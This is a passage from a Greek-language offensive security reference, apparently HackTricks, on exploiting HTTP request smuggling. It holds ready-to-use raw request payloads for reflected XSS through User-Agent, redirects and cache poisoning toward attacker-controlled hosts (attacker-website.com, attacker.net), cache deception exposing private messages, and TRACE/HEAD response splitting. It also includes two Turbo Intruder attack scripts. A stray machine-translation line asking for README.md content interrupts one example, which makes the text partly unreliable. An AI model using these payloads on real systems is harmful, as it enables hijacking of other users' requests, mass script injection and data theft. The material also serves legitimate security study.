Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο smuggled request. Για URL-encoded form submissions, αυτός ο διαχωριστής είναι ο χαρακτήρας &. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στο πρώτο &, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.

Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφαρμόσιμη με μια TE.CL vulnerability. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να τελειώνει με search=\r\n0. Ανεξάρτητα από χαρακτήρες newline, οι τιμές θα προσαρτηθούν στην παράμετρο search.

Χρήση HTTP request smuggling για εκμετάλλευση του Reflected XSS

HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί σελίδες που είναι ευάλωτες σε Reflected XSS, προσφέροντας σημαντικά πλεονεκτήματα:

  • Η αλληλεπίδραση με τους στοχευόμενους χρήστες δεν απαιτείται.
  • Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι συνήθως απρόσιτα, όπως τα HTTP request headers.

Σε περιπτώσεις όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Αυτό το payload είναι δομημένο για να εκμεταλλευτεί την ευπάθεια με τον εξής τρόπο:

  1. Εκκίνηση ενός POST request, φαινομενικά τυπικού, με header Transfer-Encoding: chunked για να υποδείξει την έναρξη της smuggling.
  2. Ακολουθεί ένα 0, που σηματοδοτεί το τέλος του chunked message body.
  3. Έπειτα εισάγεται ένα smuggled GET request, όπου το header User-Agent εγχέεται με ένα script, <script>alert(1)</script>, ενεργοποιώντας το XSS όταν ο server επεξεργαστεί αυτό το επακόλουθο request.

Με τη χειραγώγηση του User-Agent μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι την Reflected XSS ευπάθεια με έναν μη-τυπικό αλλά αποτελεσματικό τρόπο.

HTTP/0.9

caution

Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε απάντηση με Content-type όπως text/plain, αποτρέποντας την εκτέλεση του XSS. Εάν ο server υποστηρίζει HTTP/0.9 μπορεί να είναι δυνατό να παρακαμφθεί αυτό!

Η έκδοση HTTP/0.9 προηγήθηκε της 1.0 και χρησιμοποιεί μόνο ρήματα GET και δεν απαντά με headers, μόνο με το body.

Στο this writeup, αυτό εκμεταλλεύτηκε με ένα request smuggling και ένα ευάλωτο endpoint που θα απαντήσει με την είσοδο του χρήστη για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα αντανακλαστεί στην απάντηση περιείχε μια ψεύτικη HTTP/1.1 response (with headers and body) οπότε η απάντηση θα περιέχει έγκυρο εκτελέσιμο JS κώδικα με Content-Type text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Οι εφαρμογές συχνά ανακατευθύνουν από ένα URL σε άλλο χρησιμοποιώντας το hostname από το header Host στην URL ανακατεύθυνσης. Αυτό είναι κοινό σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα ενός folder χωρίς trailing slash έχει ως αποτέλεσμα μια ανακατεύθυνση που προσθέτει το slash:

GET /home HTTP/1.1
Host: normal-website.com

Έχει ως αποτέλεσμα:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Αν και φαινομενικά ακίνδυνη, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί με HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Οδηγεί σε:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί ενδεχομένως να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.

Εκμετάλλευση Web Cache Poisoning μέσω HTTP Request Smuggling

Το Web cache poisoning μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της front-end υποδομής cacheάρει περιεχόμενο, συνήθως για βελτίωση της απόδοσης. Με τη χειραγώγηση της απάντησης του server, είναι δυνατό να μολυνθεί η cache.

Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούσαν να αλλαχθούν ώστε να επιστρέφουν σφάλμα 404 (βλ. Basic Examples). Ομοίως, είναι εφικτό να ξεγελάσετε τον server ώστε να επιστρέψει το περιεχόμενο του /index.html ως απάντηση σε αίτημα για /static/include.js. Κατά συνέπεια, το περιεχόμενο του /static/include.js αντικαθίσταται στην cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο από τους χρήστες, πράγμα που ενδέχεται να οδηγήσει σε Denial of Service (DoS).

Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν εντοπιστεί μια ευπάθεια τύπου Open Redirect ή αν υπάρχει ένας on-site redirect προς open redirect. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν ώστε να αντικατασταθεί το cached περιεχόμενο του /static/include.js με ένα script υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια ευρέως διαδεδομένη επίθεση Cross-Site Scripting (XSS) έναντι όλων των clients που ζητούν το ενημερωμένο /static/include.js.

Παρακάτω υπάρχει μια απεικόνιση της εκμετάλλευσης cache poisoning combined with an on-site redirect to open redirect. Ο στόχος είναι να αλλάξει το περιεχόμενο της cache του /static/include.js ώστε να σερβίρει JavaScript κώδικα υπό τον έλεγχο του επιτιθέμενου:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Σημειώστε το ενσωματωμένο request που στοχεύει το /post/next?postId=3. Αυτό το request θα αναδρομολογηθεί σε /post?postId=4, χρησιμοποιώντας την τιμή του Host header value για να προσδιορίσει το domain. Αλλάζοντας το Host header, ο attacker μπορεί να αναδρομολογήσει το request στο domain του (on-site redirect to open redirect).

Μετά από επιτυχή socket poisoning, ένα GET request για /static/include.js πρέπει να ξεκινήσει. Αυτό το request θα μολυνθεί από το προηγούμενο on-site redirect to open redirect request και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον attacker.

Στη συνέχεια, οποιοδήποτε request για /static/include.js θα σερβίρει το cached περιεχόμενο του script του attacker, εκτοξεύοντας ουσιαστικά μια ευρεία XSS επίθεση.

Χρήση HTTP request smuggling για την εκτέλεση web cache deception

Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;

  • Στο web cache poisoning, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στο cache, και αυτό το περιεχόμενο σερβίρεται από το cache σε άλλους χρήστες της εφαρμογής.
  • Στο web cache deception, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στο cache, και ο attacker στη συνέχεια ανακτά αυτό το περιεχόμενο από το cache.

Ο attacker δημιουργεί ένα smuggled request που φέρνει ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Αν αυτό το smuggled request δηλητηριάσει μια cache entry που προορίζεται για static content (π.χ. /someimage.png), τα sensitive data του victim από το /private/messages μπορεί να αποθηκευτούν υπό την cache entry του static content. Κατά συνέπεια, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.

Abusing TRACE via HTTP Request Smuggling

In this post προτείνεται ότι, αν ο server έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να την καταχραστεί κανείς μέσω HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντικατοπτρίζει οποιοδήποτε header αποστέλλεται στον server ως μέρος του body της response. Για παράδειγμα:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Παρακαλώ επικολλήστε εδώ το περιεχόμενο του αρχείου README.md που θέλετε να μεταφραστεί.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ένα παράδειγμα για το πώς να καταχραστεί κανείς αυτή τη συμπεριφορά θα ήταν να smuggle πρώτα ένα HEAD request. Αυτό το request θα απαντηθεί μόνο με τα headers ενός GET request (Content-Type ανάμεσά τους). Και να smuggle αμέσως μετά το HEAD ένα TRACE request, το οποίο θα επιστρέφει τα αποσταλμένα δεδομένα.\ Εφόσον η HEAD response θα περιέχει ένα header Content-Length, η response του TRACE request θα θεωρηθεί ως το σώμα της HEAD response, επομένως αντικατοπτρίζοντας αυθαίρετα δεδομένα στην απάντηση.\ Αυτή η response θα σταλεί στο επόμενο request πάνω στη σύνδεση, οπότε αυτό θα μπορούσε να χρησιμοποιηθεί σε ένα cached JS file για παράδειγμα για να εγχύσει αυθαίρετο JS κώδικα.

Κατάχρηση TRACE μέσω HTTP Response Splitting

Continue following this post is suggested another way to abuse the TRACE method. Όπως αναφέρεται, με το smuggling ενός HEAD request και ενός TRACE request είναι δυνατό να ελεγχθούν ορισμένα reflected data στην response του HEAD request. Το μήκος του σώματος του HEAD request υποδεικνύεται ουσιαστικά από το header Content-Length και σχηματίζεται από την response του TRACE request.

Επομένως, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που επιστρέφονται στην response του TRACE, είναι δυνατόν να κάνουμε την response του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που καθορίζει το Content-Length, επιτρέποντας σε έναν επιτιθέμενο να ελέγχει πλήρως το request προς την επόμενη response (το οποίο θα μπορούσε να χρησιμοποιηθεί για cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Θα δημιουργήσει αυτές τις απαντήσεις (παρατήρησε πώς η HEAD απάντηση έχει Content-Length, κάνοντας την TRACE απάντηση μέρος του σώματος της HEAD, και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση εισάγεται):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Οπλοποίηση HTTP Request Smuggling με HTTP Response Desynchronisation

Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:

HTTP Response Smuggling / Desync

Άλλες τεχνικές HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Σενάρια Turbo intruder

CL.TE

Από https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Από: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Εργαλεία

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks